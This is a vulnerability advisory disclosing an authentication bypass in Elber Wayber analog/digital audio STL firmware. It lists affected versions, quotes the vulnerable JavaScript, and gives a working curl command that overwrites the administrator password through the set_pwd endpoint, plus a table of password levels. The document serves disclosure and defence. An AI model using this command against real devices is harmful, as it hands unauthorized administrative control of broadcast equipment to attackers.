Elber Wayber Analog/Digital Audio STL 4.00 Authentication Bypass


Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: Version 3.0.0 Revision 1553 (Firmware Ver. 4.00 Rev. 1501)
                  Version 3.0.0 Revision 1542 (Firmware Ver. 4.00 Rev. 1516)
                  Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1516)
                  Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1501)
                  Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1350)
                  Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1342)
                  Version 1.0.0 Revision 1202 (Firmware Ver. 2.00 Rev. 2131)

Summary: Wayber II is the name of an analogue/digital microwave link
able to transport a Mono or a MPX stereo signal from studio to audio
transmitter. Compact and reliable, it features very high quality and
modern technology both in signal processing and microwave section leading
to outstanding performances.

Desc: The device suffers from an authentication bypass vulnerability through
a direct and unauthorized access to the password management functionality. The
issue allows attackers to bypass authentication by manipulating the set_pwd
endpoint that enables them to overwrite the password of any user within the
system. This grants unauthorized and administrative access to protected areas
of the application compromising the device's system security.

--------------------------------------------------------------------------
/modules/pwd.html
------------------
50: function apply_pwd(level, pwd)
51: {
52:   $.get("json_data/set_pwd", {lev:level, pass:pwd},
53:   function(data){
54:     //$.alert({title:'Operation',text:data});
55:     show_message(data);
56:   }).fail(function(error){
57:     show_message('Error ' + error.status, 'error');
58:   });
59: }

--------------------------------------------------------------------------

Tested on: NBFM Controller
           embOS/IP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5822
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5822.php


18.08.2023

--


$ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234

Ref (lev param):

Level 7 = SNMP Write Community (snmp_write_pwd)
Level 6 = SNMP Read Community (snmp_read_pwd)
Level 5 = Custom Password? hidden. (custom_pwd)
Level 4 = Display Password (display_pwd)?
Level 2 = Administrator Password (admin_pwd)
Level 1 = Super User Password (puser_pwd)
Level 0 = User Password (user_pwd)